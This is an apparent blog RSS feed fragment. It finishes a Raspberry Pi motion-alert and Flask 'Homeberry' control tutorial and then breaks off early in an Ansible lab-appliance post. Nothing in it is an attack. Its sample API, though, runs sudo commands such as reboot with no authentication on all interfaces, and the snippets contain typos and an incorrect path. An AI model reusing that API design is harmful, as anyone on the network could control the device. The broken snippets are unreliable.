&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;push &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dev1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;push_note(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ALERT&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;MOTION DETECTED&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dev2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; pb2&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get_device(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Galaxy S20&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;push &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dev2&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;push_note(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ALERT&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;MOTION DETECTED&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# ...and repeat for each account/device/token&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can quickly test if everything&amp;rsquo;s working as expected by running a command below:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ python ./push.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;putting-it-together&#34;&gt;Putting it together&lt;/h3&gt;
&lt;p&gt;The last step of getting our push notifications to work is actually quite easy.&lt;/p&gt;
&lt;p&gt;First, create a home directory for the &lt;code&gt;motion&lt;/code&gt; user and move the script there.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo mkdir /home/motion
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo chown motion:motion /home/motion
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo cp ./push.py /home/motion/push.py
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo chown motion:motion /home/motion/push.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then, edit the motion.conf file again and a line below to ensure a push notification will be generated on each motion detection event:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Command to be executed when an event starts. (default: none)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# An event starts at first motion detected after a period of no motion defined by event_gap&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;on_event_start python /home/motion/push.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;stage-three---monitoring-system-control-app&#34;&gt;Stage Three - Monitoring System Control App&lt;/h2&gt;
&lt;h3 id=&#34;raspberry-api&#34;&gt;Raspberry API&lt;/h3&gt;
&lt;p&gt;Finally, we&amp;rsquo;re going to make our lives easier by setting up an app to control our Raspberry Pi and the monitoring system running on it.&lt;/p&gt;
&lt;p&gt;We will achieve the above by leveraging a &lt;a href=&#34;https://github.com/AmkSk/homeberry-api&#34;&gt;Homeberry&lt;/a&gt; framework.&lt;/p&gt;
&lt;p&gt;First, we need to prepare the Raspberry Pi for management via API calls. Let&amp;rsquo;s begin by pulling the files from &lt;a href=&#34;https://github.com/AmkSk/homeberry-api&#34;&gt;Homeberry-API&lt;/a&gt; repo.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ wget https://raw.githubusercontent.com/AmkSk/homeberry-api/master/homeberryApi.py
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ wget https://raw.githubusercontent.com/AmkSk/homeberry-api/master/homeberryApi.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, we need to setup Python3 virtualenv for hosting a Flask server. This can be quickly done in these three simple steps:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#install virtualenv via pip - it has to be for Python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ python3 -m pip install virutalenv 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# create a &amp;#34;homeberry&amp;#34; virtualenv&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ python3 -m virtualenv homeberryApi
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# use the pip nested within the virtualenv to install flask&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ /homeberryApi/bin/pip install flask
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can start working on the &lt;code&gt;homeberryApi.py&lt;/code&gt; script downloaded from Github. Here&amp;rsquo;s an example of what I did with mine:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/home/pi/homeberryApi/bin/python
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;from flask import Flask
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;import subprocess
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; Flask&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;__name__&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.route&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/monitor/testalert&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def testAlert&lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    subprocess.run&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;sudo /home/motion/push.py&amp;#34;&lt;/span&gt;.split&lt;span style=&#34;color:#f92672&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Sending a test alert&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.route&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/monitor/restart&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def restartFeed&lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subprocess.run&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;sudo systemctl restart motion&amp;#34;&lt;/span&gt;.split&lt;span style=&#34;color:#f92672&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Restarting live feed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.route&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/monitor/stop&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def stopFeed&lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subprocess.run&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;sudo systemctl stop motion&amp;#34;&lt;/span&gt;.split&lt;span style=&#34;color:#f92672&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Stopping live feed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.route&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/monitor/start&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def startFeed&lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subprocess.run&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;sudo systemctl start motion&amp;#34;&lt;/span&gt;.split&lt;span style=&#34;color:#f92672&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Starting live feed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.route&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/reboot&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def reboot&lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subprocess.run&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;sudo shutdown -r now&amp;#34;&lt;/span&gt;.split&lt;span style=&#34;color:#f92672&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Restarting the OS&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; __name__ &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        app.run&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;host&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;0.0.0.0&amp;#39;&lt;/span&gt;, port&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;5000&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, it is pretty easy to follow. Basically, you need to create a new &lt;code&gt;@app.route&lt;/code&gt; for each command you wish to expose over API.&lt;/p&gt;
&lt;p&gt;Template &lt;code&gt;@app.route&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.route&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/API/path&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;def functionName&lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        subprocess.run&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;command_to_run&amp;#34;&lt;/span&gt;.split&lt;span style=&#34;color:#f92672&#34;&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;System message&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once you&amp;rsquo;re happy with the script, copy it into the &lt;code&gt;homeberry&lt;/code&gt; directory and make it executable.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ chmod +x homeberryApi.py
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ cp ./homeberryApi.py ./homeberryApi/homeberryApi.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lastly, use the other file we got from Github to create a service unit for Homeberry:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo cp homeberryApi.service /etc/systemd/system
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo systemctl enable homeberryApi.service
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pi@rasp001.ssh.guru.lan:~ $ sudo systemctl start homeberryApi.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;raspberry-appi&#34;&gt;Raspberry Ap(Pi)&lt;/h3&gt;
&lt;p&gt;To finish it all off, download the &lt;a href=&#34;https://github.com/AmkSk/homeberry/releases/download/1.0/HomeBerry_1_0.apk&#34;&gt;homeberry.apk&lt;/a&gt; on your phone and install it (make sure to allow unknown sources in settings).&lt;/p&gt;
&lt;p&gt;To configure the Homeberry app to interact with our Raspberry, select the cog icon in the upper right part of the screen.&lt;/p&gt;
&lt;p&gt;On the following page, enter the IP address of the Raspberry followed by port &lt;code&gt;5000&lt;/code&gt; (I do not recommend hostnames for this):&lt;/p&gt;
&lt;p&gt;Next, create a new button by pressing the big plus sign at the bottom. You can give it whatever name you like (doesn&amp;rsquo;t have to be related to the API functions defined earlier). The endpoint URL should reflect the API paths specified in &lt;code&gt;@app.routes&lt;/code&gt; in &lt;code&gt;homeberryApi.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Activating the Raspberry commands defined in HomeberryApi script, can now be launched with a press of a button!&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>AIO Appliance for Tanzu (and other) labs</title>
      <link>/posts/221001-tanzu-aio-appliance/</link>
      <pubDate>Sat, 01 Oct 2022 00:00:00 +0000</pubDate>
      
      <guid>/posts/221001-tanzu-aio-appliance/</guid>
      <description>Recently, I decided to take on a project to write an Ansible role/playbook combo for quick deployment of networking services required for VMware Tanzu. Today, I&amp;rsquo;m delighted to announce it&amp;rsquo;s first (working!) version 1.0 - https://gitlab.com/sshguru/aio-appliance
What is it? The AIO Appliance is a Linux VM with two NICs which you can configure with my Ansible code. Once configured, this system can be used to provide your lab with the following:- routing between management and workload networks;- DNS for all clients;- DHCP for all clients (incl.</description>
      <content>&lt;p&gt;Recently, I decided to take on a project to write an Ansible role/playbook combo for quick deployment of networking services required for VMware Tanzu. Today, I&amp;rsquo;m delighted to announce it&amp;rsquo;s first (working!) version 1.0 - &lt;a href=&#34;https://gitlab.com/sshguru/aio-appliance&#34;&gt;https://gitlab.com/sshguru/aio-appliance&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;what-is-it&#34;&gt;What is it?&lt;/h2&gt;
&lt;p&gt;The AIO Appliance is a Linux VM with two NICs which you can configure with my Ansible code. Once configured, this system can be used to provide your lab with the following:- routing between management and workload networks;- DNS for all clients;- DHCP for all clients (incl. Tanzu workloads);- NTP for all clients (incl. vCenter, ESXi etc.);The VM used for deploying the appliance, must meet the following requirements:- DNF/YUM-based distribution (CentOS, Fedora, RHEL*);- 2x virtual NICs connected to two different portgroups connected to two different VLANs (or separated on layer 2; i.e. connected to two separate physical switches);- SSH enabled (default on CentOS and RHEL);- Python installed (default on most YUM/DNF distros);&lt;em&gt;*RHEL requires a developer or enterprise license&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&#34;great-how-can-i-use-it&#34;&gt;Great, how can I use it?!&lt;/h2&gt;
&lt;p&gt;Before getting started, make sure you understand the basics of Ansible. One of the ways to do that, is to read my blog series: &lt;a href=&#34;https://ssh.guru/ansible-for-dummies-0-the-basics/&#34;&gt;Ansible for Dummies&lt;/a&gt; or watch my recent session &lt;a href=&#34;https://ssh.guru/get-stuff-done-with-ansible/&#34;&gt;Get Stuff Done Quicker With Ansible&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once you know how to use Ansible, head over to my &lt;a href=&#34;https://gitlab.com/sshguru/aio-appliance&#34;&gt;GitLab repo&lt;/a&gt; and clone it.&lt;/p&gt;
&lt;h3 id=&#34;in-summary&#34;&gt;In summary:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Deploy a Linux VM with a distro such as Fedora Server, CentOS or RHEL;2) Configure the VM with two NICs, one of which has to be connected to a network reahable by your client machine over port 22;3) Configure an IP address on the management NIC (this can be done during OS installation);4) Generate (if you haven&amp;rsquo;t already) an SSH key on your client machine and copy it onto the newly installed OS (172.21.0.254 in this example);&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@client.ssh.guru.lab &lt;span style=&#34;color:#75715e&#34;&gt;# ssh-keygen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Generating public/private rsa key pair.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Enter file in which to save the key &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;/root/.ssh/id_rsa&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Enter passphrase &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;empty &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; no passphrase&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Enter same passphrase again:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Your identification has been saved in /root/.ssh/id_rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Your public key has been saved in /root/.ssh/id_rsa.pub
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;The key fingerprint is:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SHA256:Y7mlbBchkNb8e9rz2kgUtqkLZo6fQdALCT0lTJWY2RY root@LT-PWILK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;The keys randomart image is:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;+---&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;RSA 3072&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;----+
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|    .++@Eo       |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     .X&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;*        |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|     .+oo.. o    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|       o +.o +   |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|        S o.+    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|       + &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;.+.    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|        X o+.    |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|       * &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;.ooo   |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|      ..+ . o+o  |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;+----&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;SHA256&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;-----+
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@client.ssh.guru.lab &lt;span style=&#34;color:#75715e&#34;&gt;# ssh-copy-id root@172.21.0.254&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;5&#34;&gt;
&lt;li&gt;Clone the AIO-Appliance repo to the working directory (make sure you&amp;rsquo;ve got git installed!):&lt;/li&gt;
&lt;/ol&gt;
